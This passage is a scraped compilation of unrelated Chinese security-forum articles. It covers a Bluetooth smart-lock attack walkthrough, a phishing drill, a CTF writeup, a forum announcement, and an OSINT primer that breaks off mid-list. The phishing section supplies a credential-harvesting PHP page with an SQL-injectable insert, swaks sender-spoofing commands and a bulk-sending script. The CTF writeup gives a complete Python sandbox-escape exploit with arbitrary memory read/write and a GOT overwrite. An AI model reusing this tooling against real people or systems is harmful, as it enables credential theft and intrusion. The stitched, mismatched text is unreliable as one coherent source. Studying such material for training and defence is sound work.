有些朋友可能会觉得仅仅是家里的智能灯或者手环被黑了, 并不会造成什么特别的影响. 可是有一类蓝牙智能设备的安全问题可就没这么简单了. ****
不过在进入主题之前大家先来了解一下BTLE 吧. _**_
其实关于BTLE 的基础介绍网上已经有很多了. 这里只是简单介绍下想要进行测试的必备知识. BTLE 设备运行在2.4ghz. 分为40 个频道, 每个频道
2Mhz 带宽. 其中频道 37; 38; 39 为广播频道. 剩余的37个频道为数据频道.
BTLE 定义使用了3 种匹配模式. **JustWorks; 6-digit PIN **** 和 ****Out of band**.
其中JustWorks 默认使用000000作为PIN来完成匹配. 这样的设计给本身不带输入方式的设备提供了便利. 但同时让所有人都可以轻易以其匹配.
我们的目标 DOG&BONE 智能锁使用的正是此方式.
在匹配成功后, 我们便可以通过一个独特的UUID对 Characteristics 进行读写操作. 从而实现不同的功能, 比如开灯/关灯等.
在格式上UUID 又分为Bluetooth Special Interest Group (SIG) 规范的 16bit 公有UUID (e.g.
0000180F-0000-1000-8000-00805F9B34FB) 和 厂商自定义的 128 bit 私有UUID (e.g.
00001524-1212-EFDE-1523-785FEABCD123)
在与BTLE 交互的硬件方面可以说非常简单. 仅仅一个便宜的BTLE 蓝牙Dongle 即可. 同时大部分的手机比如IPHONE 自带BTLE功能.
如果想增加收发信号范围的话还可以通过外接天线的方式达到目的.
软件方面的选择也非常之多. 如果是IPHONE 用户的话, 个人推荐 LightBlue. 当然想要深入的话, 则必须使用Linux下的开源软件,
比如hcitool or Gatttool. 尤其是gatttool 提供了一个非常好的交互界面.
# 0x02 BTLE 智能锁
市面上具有BTLE功能的安防产品种类繁多, 其中又以智能锁为主. 但是作为一款安全产品的自身的安全性能又如何呢.
在DEFCON24上有安全研究员爆出数款蓝牙智能锁的安全漏洞. 而漏洞的类型五花八门. 从明文密码到重放攻击, 甚至还有一款门锁在Fuzzing
攻击下完全失效, 导致门户大开.
其实智能锁的架构非常简单. 通过手机APP 作为中转跟云服务器交互, 用户甚至可以从地球任何一个角落打开锁. 这是普通门锁无法比的.
今天的主角DOG&BONE 蓝牙智能锁正式登场了. DOG&BONE 智能锁是由一家位于英国的公司生产. 目前在市面上售价为100 $.
但在逆向了他们的手机APP后, 发现真正的开发者应该是一名华人. 就如大多数厂商那样, 他们也号称自家的智能锁安全性能极高. 适当的宣传是可以理解的,
但这家公司似乎有点过了头. 简单来说就是号称此锁拥有银行级别的安全性能, 甚至需要设计出苹果电脑的传奇硬件黑客Steve Wozniak 亲自出马才行.
但真实情况是不是真有那么安全呢? 让我们来一起测试下吧.
# 0x03 攻击准备
在攻击起始阶段最重要的就是情报收集, 掌握目标尽可能多的信息对随后的深入研究至关重要. 就DOG&BONE 锁而言, 我们可以使用LightBLUE
与其交互, 得到一些基本信息开始.
如图所示: 我们可以知道DOG&BONE的蓝牙地址; 使用了Nordic的蓝牙芯片. 且提供了何种services, 这些services 的UUID
又是哪些.
善用GOOGLE 搜索可以发现除了官方文档之外的许多信息. 这里我们发现网上已经有其他研究人员对其进行解剖. 方便我们了解了其内部结构信息.
从而更加确认了DOG&BONE 使用的是Nordic NRF51822 芯片.
从官方发布的APP 我们可以了解到DOG&BONE都提供了哪些功能. DOG&BONE 的APP 同时有IOS 和Android 2种版本,
条件允许的话可以对2种版本分别测试分析. DOG&BONE APP 可以时时查看锁的电池容量等基本信息. 我们可以通过 tap to unlock
和设置passcodes 等方式来打开智能锁. 并且可以共享给其他用户, 并限制其使用的次数和时间. 当设备提供的功能越多, 潜在的攻击点也随之增长.
随后我们会针对这些功能进一步深入.
跟大多数Android app 一样, APP本身没有加固. 所以我们可以轻易通过JD-GUI 得到JAVA Byte codes.
从代码中我们可以窥探到DOG&BONE的工作机制和采用了何种认证方式. 一些至关重要的信息也同时暴露出来. 比如UUID 和其对应的功能.
不仅如此DOG&BONE APP虽然使用了SSL 来加密其与云服务器的交互数据, 但是并没用启用Certs-Pinning.
所以我们仍可以通过中间人的方式抓到所有的交互数据包. 并对其进一步分析. 常用的MitM工具包括 MitMProxy 和BurpSuit Pro 等.
另一方面DOG&BONE使用蓝牙来与智能锁交互. 详细的蓝牙交互数据包将大大缩短我们的分析的时间. 幸运的是自从Android 4.4
开始便提供了Bluetooth HCI Logs 的功能. 我们可以将得到的btsnoop_hci.log 导入Wireshark 中进行分析.
在分析后, 我们可以得知DOG&BONE 是通过对属性为lock_password的UUID 写入正确的解锁密码得以开锁.
而这个解锁密码则是从服务端产生的, 并发送到锁和APP里保存. 但是这个密码只有当用户将锁和自己的账号取消关联, 再重新绑定时才会更新.
那么问题来了会有用户每开一次锁就把锁和自己的账号取消关联吗?
通过MitM抓包可以得到当前的开锁密码. 这时可以用BTLE dongle 将密码写入lock_password 的UUID 来验证密码的正确.
但请注意目前我们仅是从自己的手机得到开锁密码. 如果想截取别人的开锁密码, 我们就需要知道如何从空中抓包..
Unlock DogBone Lock (视频地址)
<http://v.qq.com/page/n/2/1/n0519c7d021.html>
# 0x04 攻击 – RF无线层
如何从空中抓取蓝牙包？这里必须提及Michael Ossmann 设计的Ubertooth. 这可以说是蓝牙安全研究的瑞士军刀.
具体使用方法可以移步到其官网. 但必须提醒的是如果需要确保可以抓到蓝牙包, 我们需要使用3 个Ubertooth 来监控 37 38 39 这3
个广播频道.
在得到足够的数据包后, 我们可以通过 CrackLE 来破解出BTLE 配对的密码. 但是因为DOG&BONE 使用的是JustWorks 配对模式.
所以其实是完全可以省略这步的.
如果觉的Ubertooth 价格过高的话, 我们也可以用基于CC2540 芯片的TI-SmartRF Sniffer. 和其自带的SmartRF 软件.
而且测试发现抓包效果要比Ubertooth 好些.
# 0x05 攻击 – APP 运用层
大家还记得DOG&BONE还有一个共享锁的功能么. 在共享给其他用户的同时, 还可以限制其使用的次数和时间. 那么这期间到底发生了什么,
是否可以绕过限制呢. 这里我们通过BurpSuit Pro 来一探究竟.
其实共享过程很简单, 当锁的主人决定共享给某个用户. 服务端会发送邀请token 给此用户
当此用户接受了邀请. 服务器便会将锁的ID 和共享类型等信息返回到用户的账号. 这里的共享类型包含了次数以及时间限制信息.
而当此用户想开锁时, 客户端便会发送请求到服务端. 如果一切顺利服务端会将当前的解锁密码返回. 从而达到开锁的目的.
但如果用户的次数用完了, 此时再发送开锁请求. 服务端返回错误信息.
但是因为整个过程都在我们的掌握之中, 所以我们可以将服务端的返回信息换成任意我们想要的信息. 比如提高共享次数等. 以下是绕过共享次数限制的视频演示.
Bypass DogBone lock sharing limits (视频地址)
<http://v.qq.com/page/y/3/v/y05190ihb3v.html>
# 0X06 攻击 – 物理机械层
以上我们通过逆向应用程序, 蓝牙数据包嗅探等方式搞定了Dog&Bone 智能锁的安全防御. 但事实上还有一个非常简单但又非常致命的方式可以打开锁.
那就是使用SHIM (铁片) 攻击, 事实证明往往最简单的攻击方式却是最行之有效的. 以下是演示视频, 在看过之后你还愿意花100
美金去买这个所谓的智能锁吗?
Bypass DogBone by SHIM (视频地址：)
<http://v.qq.com/page/j/8/q/j0519sav98q.html>
# 0X07 总结
通过DOG&BONE 蓝牙锁这个案例, 相信大家对低功耗蓝牙设备的分析和攻击方式有了一定程度的了解. 但市面上的BTLE相关产品种类繁多,
每款产品的安全程度也各不相同. 大家可以自行尝试玩出新花样. 而从开发者的角度来说在设计阶段就要将安全防御考虑进去.
在产品上市前可以考虑找白帽黑客测试过后再发布.
0x08 参考文献
<https://lacklustre.net/>
<https://github.com/securing/gattacker>
<http://greatscottgadgets.com/ubertoothone>
<https://github.com/pwnieexpress/blue_hydra>
<https://en.wikipedia.org/wiki/Bluetooth_Low_Energy>
<https://github.com/kevin2600/BTLE-SmartLock-Hacking>
<https://media.ccc.de/v/33c3-8019-lockpicking_in_the_iot>
<http://hackaday.com/2016/08/08/the-terrible-security-of-bluetooth-locks/> | 社区文章 |
为了配合部门月度信息安全主题宣讲，被领导要求搞一次真实的邮件钓鱼演练，对象是公司全员。演练前，为了钓鱼效果，需要伪造真实的内部邮箱发件人，测试了一下公司Exchange服务器，发现邮箱服务器默认并没有开启spf等反钓鱼策略，这大大提高了钓鱼成功率。公司的域账号到期需要修改密码，我就以修改密码网页为钩子，发件人就是真实的[email protected]，可能每个公司的情况不一样，大家自由选择钓鱼系统即可。
# 钓鱼
既然是钓鱼，那钓鱼页面需要尽可能和原系统一致，如果需要网站克隆，推荐使用setookit，里面有个site
cloner功能，网上有相关教程，我就不详细描述了。我们这次的演练并没有完全克隆，原因是我们的域系统需要先登录，然后再进行修改密码，如果有cookie记录就直接跳转到修改密码的页面了，为了方便起见，我们直接重新做了一个页面（只是在修改密码页面增加了一个域账号框，方便记录），同时后端不记录"password"字段到数据库，前端效果图如下:
因为我有php环境，方便起见就直接用php+mysql了。因为就记录一个字段，代码也比较简单，如下：
<?php
$con = mysql_connect("localhost","root","XXXX");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$sql="INSERT INTO user(username)
VALUES
('$_POST[inputuser]')";
if (!mysql_query($sql,$con))
{
die('Error: ' . mysql_error());
}
echo "<script> {window.alert('密码修改成功');window.open('http://xxx.com', '_top')} </script>";
mysql_close($con)
?>
有django等其他环境的同学，直接用其他框架即可，反正后端就记录个域账号也比较简单。钓鱼页面做好了，接下来就是注册域名和大批量发送钓鱼邮件了。毕竟是演练，我们提前是知道修改域密码的网站域名，申请域名尽量和真实域名类似，比如域名内含o我们就用0代替，含11我们就可以使用ll代替等等。也可以使用域名短链接（网上提供域名短链接的服务商也较多，搜索一下即可），真实钓鱼，但是效果肯定没有伪造的域名好。至于钓鱼邮件发送，这里推荐大家使用awaks工具，安装后，使用格式示例:
swaks --tls --to [email protected] --from [email protected] --ehlo qq.com --body hello --header "Subject: hello"
–from <要显示的发件人邮箱>
–ehlo <伪造的邮件ehlo头>
–body <邮件正文>
–header <邮件头信息，subject为邮件标题>
为了安全起见，我们发送邮件需要使用tls，这样发送的内容都是加密的了，但是该工具批量发送带有自定义内容的邮件不方便，于是写了一个py脚本，使用--data参数，方便批量发送，我们的策略是每天随机发送150至200个人，具体看公司规模而定。每个邮箱客户端使用的邮件头还不一样，我们测试了用qq邮箱头发给outlook没有问题，由于我们公司默认都是outlook，foxmail没有测，应该问题也不大，有问题增删相关邮件头字段即可。下面是批量发送脚本内容(命名为mail.py):
import time
import sys
import subprocess
#发送的完整邮件内容有2部分组成，一部分是收件人，是可变的，一部分是邮件内容，是不变的，内容使用file_c变量，收件人使用file_f变量，具体看脚本内容
file_c = '''Subject: =?gb2312?B?xxxxxxxdLss6M=?=
#主题等都是gb2312编码后的base64加密
#Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
Date: {time.ctime()} +0800
#发送邮件是提前发送的模板邮件，所以需要获取当前时间作为发送时间，不然接收的时间会不对
Accept-Language: zh-CN, en-US
Content-Language: zh-CN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-originating-ip: [x.x.x.x]
Content-Type:xxxxxxxxx;
Return-Path: [email protected]
xxx内容xxx '''
file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
names = file.readlines()
for name in names:
file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
#print(file_f)
with open('/usr/local/src/file.txt', 'w') as f:
f.writelines(file_f + file_c)
status = subprocess.Popen(['swaks', '--tls', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', '[email protected]'], stdout=subprocess.PIPE)
lg = status.stdout.readlines()
print(type(lg))
with open('/usr/local/src/log.txt', 'a+') as g:
for line in lg:
g.write(line.decode())
`
发送对象名单保存在sec.txt中，运行 python mail.py sec.txt 即可。
收到的钓鱼邮件如下：
为了钓鱼效果，邮件链接可使用真实链接，然后做个超链接到"钓鱼系统"，这样更能神不知鬼不觉
三天后，拉一下数据库，上钩的人有100多，不乏一级部门领导负责人，演练没有事前报备，演练结束后大部门内部通报，领导觉得效果不错！
# Tips
一看：看发件人地址，看正文是否异常
二查：查邮件中的链接是否异常
三核实：向发件地址的官方联系人核实，通过上面例子可知发件人地址也是可以伪造的
工作中如果收到可疑的邮件或其他安全事件及时联系安全部门或相关责任部门，不要随意点击相关链接、下载邮件附件等。 | 社区文章 |
## 题目基本分析
题目给了以下文件：
dist/
dist/server.py
dist/Collection.cpython-36m-x86_64-linux-gnu.so
dist/test.py
dist/python3.6
dist/libc-2.27.so
正如我们所知，`server.py`可以接收用户输入的python脚本语言。除此之外，它还可以获取flag并使用`dup2`将文件描述符复制到fd
1023中，然后用提供的`python3.6`解释器执行用户的输入。这里有一个小问题，您的代码前面会出现以下这样一段代码：
from sys import modules
del modules['os']
import Collection
keys = list(__builtins__.__dict__.keys())
for k in keys:
if k != 'id' and k != 'hex' and k != 'print' and k != 'range':
del __builtins__.__dict__[k]
此代码尝试设置一个基本的Python沙箱。大体来说，这道题目背后的想法是沙箱逃逸，这样我们就可以从已打开的文件描述符中读取flag。
本来预期的解决方案是利用Collection模块，然而，我的解决方案里面根本没有用到它:P
首先，让我们看看沙箱prefix起到了什么作用：
1.它可以删除`sys.modules`中的`os`。
2.它可以导入原生模块`Collection`。
3.它可以删除`__builtins__`对象中的每个内建函数，除了`id`，`hex`，`print`和`range`等一小部分，可能是出题人还算比较仁慈吧。
我的这个非预期的解决方案的第一步是，我们要认识到沙盒python是很难正确执行的，并且从`sys.modules`或`__builtins__`中删除的对象实际上是可逆转的，仍然会有很多的关于它们的reference，我们只需搜索一下即可。
我使用内省机制返回一些基本的内置组件：
str = "".__class__
bytes = b"".__class__
bytearray = [x for x in b"".__class__.__base__.__subclasses__() if "bytearray" in str(x)][0]
返回`os`的过程有点棘手，但仍然是可行的：
os = [t for t in ().__class__.__bases__[0].__subclasses__() if 'ModuleSpec' in t.__name__][0].__repr__.__globals__['sys'].modules["os.path"].os
这可能要更复杂一点，但不能否认的是，它是有效的。
现在我们有了`os`，看起来我们似乎可以调用`os.read(1023, 100)`了。但不幸的是，如果我们尝试调用，我们会得到以下输出：
Bad system call (core dumped)
事实表明，Collection模块设置了一个seccomp过滤器，正是它限制了我们可以使用的系统调用。
于是我用seccomp-tools(<https://github.com/david942j/seccomp-tools>) 来提取过滤器：
$ seccomp-tools dump "./python3.6 -c 'import Collection'"
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0012
0011: 0x05 0x00 0x00 0x00000011 goto 0029
0012: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000019 if (A != mremap) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000013 if (A != readv) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x000000ca if (A != futex) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x00000083 if (A != sigaltstack) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0026
0025: 0x05 0x00 0x00 0x00000037 goto 0081
0026: 0x15 0x00 0x01 0x0000000d if (A != rt_sigaction) goto 0028
0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0028: 0x06 0x00 0x00 0x00000000 return KILL
...
--- SNIP - relatively unimporant secondary checks omitted --- ...
0098: 0x06 0x00 0x00 0x00000000 return KILL
比如，我们可以使用以下系统调用：
exit
exit_group
brk
munmap
mremap
readv
futex
signalstack
close
rt_sigaction
我们也可以`write`给`stderr`和`stdout`，并且在懒得解码的时候使用`mmap`。
非常重要的一点是，我们用`readv`来读取flag。除了可以同时对缓冲区数组执行多次读取外，`readv`与`read`系统调用非常相似。我们应该能够用它来读取flag（利用我们之前恢复的一些沙箱对象）：
flag = bytearray(128)
os.readv(1023, [flag])
print(flag)
但输出的结果是
Trace/breakpoint trap (core dumped)
经过一番摸索我们发现，`Collection`模块实际上暗藏了一个玄机。在加载模块时，它会在运行时修补主python可执行文件，并用一系列`0xCC`指令（调试陷阱）覆盖大部分`os_readv_impl`函数。很明显，出题人不希望我们用这么简单粗暴的方式解决这道题。所以，既然我们不能再使用`os.readv`了，为了我们可以调用`readv`系统调用，我们必须获取某些本地代码执行。
通常，在Python中获取本机代码很容易，只需使用`ctypes`模块即可。但由于seccomp限制，我们无法加载任何其他模块。经过一番探索后，我发现了这个使用自定义Python字节码的技术(<https://gist.github.com/pakt/c70073a0e0de1f47f579>)
，它可以用于设置任意的读/写原语。虽然它是为python2编写的，但我们可以调整相同的概念以适应我们的64位python3.6。这种技术看起来相当复杂（它让我想起了一些WebKit漏洞的工作原理），所以让我们把它分解一下。
这个python feature/bug的核心在于python如何解析它的字节码——特别是操作码`LOAD_CONST`：
/* Python/ceval.c line 1298 */
TARGET(LOAD_CONST) {
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}
宏`GETITEM(consts, oparg)`从元组`consts`中的index
`oparg`中检索对象，而不进行任何边界检查（但仅在`Py_DEBUG`未定义的情况下！）
对此，我们可以这样利用：
1.在堆上创建一个伪bytearray对象。
2.计算出从consts元组到伪bytearray的指针偏移量。
3.编写字节码，返回我们对伪bytearray的引用。
4.调用自定义字节码。
5.这样就可以用这个bytearray来读/写任何地址了。
为了更好理解其中的细节，我们需要了解CPython如何在内部存储元组和bytearray。我已经在CPython源中重建了以下内容：
struct PyByteArrayObject {
int64_t ob_refcnt; /* can be basically any value we want */
struct _typeobject *ob_type; /* points to the bytearray type object */
int64_t ob_size; /* Number of items in variable part */
int64_t ob_alloc; /* How many bytes allocated in ob_bytes */
char *ob_bytes; /* Physical backing buffer */
char *ob_start; /* Logical start inside ob_bytes */
int32_t ob_exports; /* Not exactly sure what this does, we can ignore it */
}
struct PyTupleObject {
int64_t ob_refcnt;
struct _typeobject *ob_type;
int64_t ob_size;
PyObject *ob_item[1]; /* contains ob_size elements */
}
第1步很简单，我们可以将一些数据放在一个真的bytearray中，它将被存储在堆上。第2步也很简单，Python有一个内置函数`id`，它返回对象的内存地址。如果我们添加`0x20`到真的bytearray的地址中，我们就会得到`ob_bytes`指针的地址，它将指向我们在堆上创建的伪bytearray。要获取元组内部对象数组的地址，我们可以类似地将`0x18`加入`id`返回的值从而获取`ob_item`数组的地址。需要注意的一点是，`LOAD_CONST`操作码将要使用的，在数组`ob_item`中的index，只是一个带符号的32位值，但这实际上并没有引起任何问题。
一旦我们有了一个读/写原语，我们只需在GOT中将libc函数`writev`更换为`readv`，这样我们就可以使用Python函数`os.writev`代替`os.readv`，因为`readv`和`writev`在他们的工作方式基本上是“对称的”。
## 结论
当我们把上面这些都搞懂了以后，我们就可以来看看最终的成果了：
# recreate things we can't import
str = "".__class__
bytes = b"".__class__
bytearray = [x for x in b"".__class__.__base__.__subclasses__() if "bytearray" in str(x)][0]
os = [t for t in ().__class__.__bases__[0].__subclasses__() if 'ModuleSpec' in t.__name__][0].__repr__.__globals__['sys'].modules["os.path"].os
# from dis.opmap
OP_LOAD_CONST = 100
OP_EXTENDED_ARG = 144
OP_RETURN_VALUE = 83
# packing utilities
def p8(us):
return bytes([us&0xff])
def p64(n):
result = []
for i in range(0, 64, 8): result.append((n>>i)&0xff)
return bytes(result)
def u64(n):
res = 0
for x in n[::-1]: res = (res<<8) | x
return res
const_tuple = ()
# construct the fake bytearray
fake_bytearray = bytearray(
p64(0x41414141) + # ob_refcnt
p64(id(bytearray)) + # ob_type
p64(0x7fffffffffffffff) + # ob_size (INT64_MAX)
p64(0) + # ob_alloc (doesn't seem to really be used?)
p64(0) + # *ob_bytes (start at address 0)
p64(0) + # *ob_start (ditto)
p64(0) # ob_exports (not really sure what this does)
)
fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print(offset)
# construct the bytecode
bytecode = b""
for i in range(8, 32, 8)[::-1]:
bytecode += p8(OP_EXTENDED_ARG) + p8(offset>>i)
bytecode += p8(OP_LOAD_CONST) + p8(offset)
bytecode += p8(OP_RETURN_VALUE)
def foo(): pass
foo.__code__ = foo.__code__.__class__(
0, 0, 0, 0, 0,
bytecode, const_tuple,
(), (), "", "", 0, b""
)
magic = foo() # magic is now a window into most of the address space!
print(magic[0x400000:0x400000+4]) # read the elf header as a sanity check
readv_got = 0x9b3d80
writev_got = 0x9b3b28
read_got = 0x9b32e8
diff = 0x116600 - 0x110070 # libc_readv - libc_read
libc_read = u64(magic[read_got:read_got+8])
print("libc_read @", hex(libc_read))
libc_readv = libc_read + diff
print("libc_readv @", hex(libc_readv))
# replace writev with readv in the GOT
magic[writev_got:writev_got+8] = p64(libc_readv)
flag = bytearray(100)
flaglen = os.writev(1023, [flag]) # actually readv!!!
print(flag[:flaglen])
PS：我在这里发现了另一篇关于`LOAD_CONST`
bug的好文章(<https://doar-e.github.io/blog/2014/04/17/deep-dive-into-pythons-vm-story-of-load_const-bug/>) 。
原文链接：<https://www.da.vidbuchanan.co.uk/blog/35c3ctf-collection-writeup.html> | 社区文章 |
亲爱的社区用户们，
11月28日，先知技术社区升级了一版，这版主要的功能是：在phpwind里前无古人的实现了支持Markdown编辑器，以后各位终于可以愉快的发文章啦。
之前的phpwind自带编辑器使用起来有诸多不便，时常出现一些很奇怪的问题或bug，也不符合技术人员的写作习惯。
很多个日夜，白帽子们在群里喊“就差一个Markdown”的时候，我内心是非常焦虑和崩溃的。焦虑的是：社区的产品体验不好，我作为一个产品经理，本能的想第一时间为用户解决问题。崩溃的是：先知技术社区其实现在还没有自己专门的开发，社区的建立大部分也是依赖云栖社区论坛已经写好的UI和代码，“就差一个Markdown”的需求没有开发支持是得不到满足的。
念念不忘，必有回响。
感谢@凌风（0x0F）出现，Markdown编辑器基本上由他一手开发；感谢他在不断的踩坑-填坑过程中，仍然坚持不懈、没有放弃；感谢他为先知安全技术社区创造了更好的发文及交流体验。
那么，关键问题来了，如何使用Md编辑器呢？看下图你就明白啦~~
最后，如果大家在使用新的Md编辑器过程中遇到任何问题，欢迎反馈给我，谢谢。 | 社区文章 |
# 威胁情报专栏：公开资源情报计划——OSINT
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hamster@DX安全团队
## 前言
公开资源情报计划（Open source intelligence
），简称OSINT，是美国中央情报局（CIA）的一种情报搜集手段，从各种公开的信息资源中寻找和获取有价值的情报。通常在实施攻击之前，公开资源情报计划（OSINT）是我们收集信息的首选技术。在本文中，我们围绕OSINT的定义、开源工具、搜集、来源等方面进行详细介绍。
“不一定只有保密信息才有价值。” ——中央情报局
## 一、定义
目前，对于公开源情报的理解不尽相同，还存在着多方的解释，本文主要列举出几个权威机构给出的各有侧重的定义。
### 1\. OSS研究院
> 公开源情报是指为特定用户解决某一问题而从报纸、书籍、学术和技术刊物、政府公报、广播、电视和互联网等公开的多语种（Multilingual
> Sources）与多媒介（ Multime-dia
> Sources）渠道，以合法且合乎道德伦理的手段获取的信息，并对这些信息加工处理后得到的情报。它伴随着整个隐秘的国家情报流程，包括：需求分析、搜集管理、来源验证、多源融合以及报告陈述等环节。
OSS，全称Open Source Solutions
Academy。其定义可见在情报流程中，私密源和公开源是相结合的，开源情报有助于全源情报产品的生产，特别强调运用符合法律约束和道德伦理的信息获取方式。因此，相对于人力情报或信号情报，开源情报的信息搜集不需要私密的手段，但是必须建立在版权授予和商业需求的基础上。
### 2\. 美国国会
2006财年在其通过的《国防授权法案》（ National Defense Authorization，Act）中明确提出概念 ：
> 开源情报是指，为了响应特定的情报需求，通过搜集和利用公开可得信息而进行情报生产，并及时地分发给适当的受众群体.
在美国陆军野战条例第FM2-0号《情报》的“陆军情报流程”一节中，也有类似于美国国会的定义。美国国会的定义展现出开源情报的本质，是一种由公众公开的信息，但是在情报流程各阶段的作用下，这些信息能被转化成情报用于应对目标用户所提出的特定需要。开源情报的主要特征如利用公众资源、信息处理和最终情报产品发布的必要性也在这个定义中得以阐明。
### 3\. 北约组织
北约在《公开源情报手册》中的定义为：
> 开源情报是为了响应而进行的谨慎细致的信息发现（ Discovery）、鉴别（ Discrimination）、浓缩 （
> Distillation）、分发（ Dissemination）。也就是说，将广泛多样的公开来源信息运用到情报论证分析过程中，从而产生情报。
相较于美国国会的定义，北约组织将开源情报的地位提升到情报科目的水准，并将其看作基本置于其他情报科目之下，见下图。然而，两种定义也存在着相似之处，即面向特定的情报用户以及整个工作流程的循环往复。
### 4\. 其他定义
开源情报是一个情报门类，美国法典在其第50卷《战争和国防》将开源情报定义为：
> 面向一定的用户群体，以获取情报为目的，从公开各类型信息中及时采集、分析和分发情报。
美国国防部（Department of Defense，DOD）和中央情报局（Central Intelligence
Agency，CIA）也曾给出过关于开源情报的解释：“广大公众都可以获得的具有潜在情报价值的信息”；“公开情报是指从外国媒体广播、出版物和商业数据库中搜集公开信息，并对这些信息进行处理后所获取的情报”。
曾任李克农秘书的罗青长在《情报学概论》中指出，开源情报是指：“为满足情报工作的需要，通过公开途径，从公开的资料或消息中搜集和使用的情报。”
由上可以看出，尽管细节描述各不相同，但是各机构对开源情报的定义，从根本上是一致的。基本包括以下几个方面：一是特定的服务对象；二是获取情报目的性非常强；三是来源范围明确为公开来源；四是确立了“采集－分析－分发”完整的情报活动过程。
## 二、开源情报特点
随着互联网、媒体等公开来源的信息成几何级数增长。较之传统情报，开源情报更加全面综合且系统化，更能够显示变化的趋势和规律，网络时代的到来使情报源变得复杂、巨大。
开源情报收集一般通过监控、数据挖掘和研究来完成，并贯穿于人力情报、地理空间情报、信号情报、技术情报等之中。
开源情报具有以下几个特点：
一是低成本，尤其是在动用传统人力等情报能力无能为力的情况下，运用开源可以为情报分析人员提供有益的启示或向导，支持决策者或指挥员计划活动，也为人力情报、信号情报等其他类型情报提供了一个有力的补充。
二是低风险，开源情报分析人员可远离危险环境展开行动，利用开源情报能解决问题的，就没有必要动用风险性很高的人力情报手段。
三是高收益，美国中央情报局认为，开源数据在最终全源情报产品中占40%，加拿大安全与情报局局长沃德·埃尔科克（Ward
Elcock）先生认为，开源在最终全源产品中的比重占约80%。
随着科技的快速发展，特别是信息技术与网络技术的快速发展，开源情报的作用正日益显现其重要性。
谁能抓住历史的机遇，深刻理解情报的核心功能并将其融入到科技等变革中去，那么不仅仅是在经济战场上，更重要的是在国家安全战线上，谁就能将占据主动。
## 三、渠道来源
在互联网之前，开源情报的主要来源是图书、杂志、广播电视电台、新闻媒体以及政府和民间机构公开的信息和数据等。在互联网诞生及逐步发展后，开源情报的情报源一是包含了上述传统情报源的网络化产品；二是以谷歌地球为代表的地理空间情报网站及服务；三是诞生了网络社区这一新型情报对象：社交媒体网站、视频网站、维基百科网、博客、论坛、甚至购物网站。
并且在以往，许多国家的情报组织和情报人员都承认，他们获得情报的大部分来自于公开渠道：报纸、杂志、书籍、公开发行的政府出版物、商业性出版物、产品资料、专利资料、音像资料以及广播、电视等。
>
> 美国中情局第五任局长艾伦·村勒斯说道：“公开渠道来源的情报是从报纸、书籍，学术和技术刊物、政府公报、无线电广播和电视等方面搜集的。即便是一本小说或者是一个戏剧，也可能包含着关于某个国家的有用情报。”
>
> 哥伦比亚大学教授罗杰·希尔斯曼对克格勃（全称“苏联国家安全委员会”）从公开渠道搜集西方情报的事实作过深入研究，说道：“关于经济和科技情报，在西方，大部分可以从公开或半公开的来源搞到手。因此，克硌勃完全可以用简单的手段获得所需情报的75%到90%。”
在2018年ISC互联网安全大会时情报与网络安全专家、以色列8200部队原情报分析主管、Recongate有限公司副总裁Roy
Zinman做了主旨为“人工智能与开源情报的第三次变革”的分享，他表示，社交媒体上的海量个人数据已成为开源情报的重要来源，而人工智能是数据处理的重要工具。过去，开源情报是整理来源于电台、报纸、政府网站中内容而得到的信息，现在，开源情报还来源于博客、社交媒体和讨论组等。
2008年12月5日，《美国陆军战场手册2-22. 9———公开源情报》（FMI 2-22. 9 Open Source
Intelligence）手册中对众多获取渠道进行了分类，大体上分为以下五大类：
* 学术机构：学术机构是指由政府指导、社会各界支持、自我组织、自我发展的专门从事高科技学术研究与交流活动的非营利性团体，这种团体就叫学术机构。此渠道一般涉及到公开已披露以及公开的正在研发或筹备项目的科技以及研发层面的情报。
* 政府及政府间和非政府组织：在这里，可能对非政府组织较为陌生，并不清楚真正指什么。其实非政府组织，在现实当中还演绎出接近几十种不同称谓，如第三部门、非营利组织、公民社会组织、独立部门、慈善部门、志愿者部门、免税部门、草根组织等等。我国根据特定目的形成的习惯代称是民间组织，虽然表称不一却实质类似或者相同。此类渠道一般涉及到公开政务文件、相关利民措施、军事动向等等已经在官方渠道或者媒体渠道所公开的信息。
